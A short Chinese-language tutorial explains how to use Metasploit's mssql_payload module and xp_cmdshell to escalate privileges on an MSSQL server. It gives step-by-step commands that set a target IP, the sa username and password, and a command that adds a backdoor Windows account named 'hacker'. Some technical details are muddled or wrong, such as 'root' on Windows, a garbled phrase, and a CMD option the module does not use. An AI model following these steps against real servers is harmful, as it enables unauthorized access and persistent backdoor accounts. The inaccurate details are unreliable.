1. 漏洞简介
在MSSQL中,存在一个从截至SQL Server 2000开始的一个危险的安全漏洞。这个安全漏洞在SQL Server的默认配置中是存在的,这就使得用户能够在执行操作系统图册等操作方面获得更多的权限,并直接返回一个命令外壳。
在有权限的情况下,想要获取root权限是非常具有挑战性的。但是,MSF以及一些其他的攻击工具可以帮助到我们完成这个过程。Metasploit是一款免费的、模块化的漏洞程序测试工具,旨在简化漏洞攻击/开发过程,以及提供有关漏洞的详细信息。该漏洞利用程序利用了SQL Server在其sysadmin权限组中运行的一些有趣的细节。
2. 漏洞利用工具
要利用该漏洞进行提权,我们需要使用Metasploit
2.1 安装Metasploit
在Kali Linux中,安装Metasploit的命令如下
sudo apt-get install metasploit-framework
在安装完成后,我们可以运行以下命令来启动MSF:
msfconsole
2.2 利用MSF实现MSSQL提权
现在我们来详细了解一下如何使用MSF来利用MSSQL的安全漏洞来获取提权权限:
2.2.1 找到漏洞利用模块
首先,我们需要找到可以利用该漏洞的MSF模块。可以通过以下命令在Metasploit中查找MSSQL漏洞利用模块:
search mssql
我们将会看到很多可用的漏洞利用模块。
2.2.2 选择合适的模块
在选择合适的漏洞利用模块时,我们需要考虑以下几个因素:
我们是否知道目标计算机的操作系统和MSSQL版本
漏洞利用的方法
通常,我们可以根据目标计算机的操作系统和MSSQL版本来选择合适的模块。在此示例中,我们将使用mssql_payload模块。
2.2.3 设置漏洞利用参数
接下来,我们需要设置漏洞利用模块的参数。在这里,我们需要设置一些基本参数:
目标IP地址
目标计算机上MSSQL服务器的端口
目标计算机上的用户名和密码
在这个例子中,我们将模块配置为向远程MSSQL服务发送以下命令:
exec master..xp_cmdshell 'cmd.exe /c net user /add hacker 123456'
这个命令将创建一个名为"hacker"的用户,并将密码设置为"123456"。
2.2.4 运行漏洞利用模块
现在,我们可以运行漏洞利用模块。 在Metasploit控制台中,可以使用以下命令来运行mssql_payload模块:
use exploit/windows/mssql/mssql_payload
set RHOST 192.168.1.5
set RPORT 1433
set USERNAME sa
set PASSWORD Passw0rd!
set CMD exec master..xp_cmdshell 'cmd.exe /c net user /add hacker 123456'
run
3. 结语
通过使用Metasploit,我们不仅可以了解MSSQL服务器方面的漏洞,而且可以利用这些漏洞来获取更高的权限。对于网络管理员来说,这提醒他们需要密切关注他们网络系统中的所有漏洞,并尽最大努力保持其安全。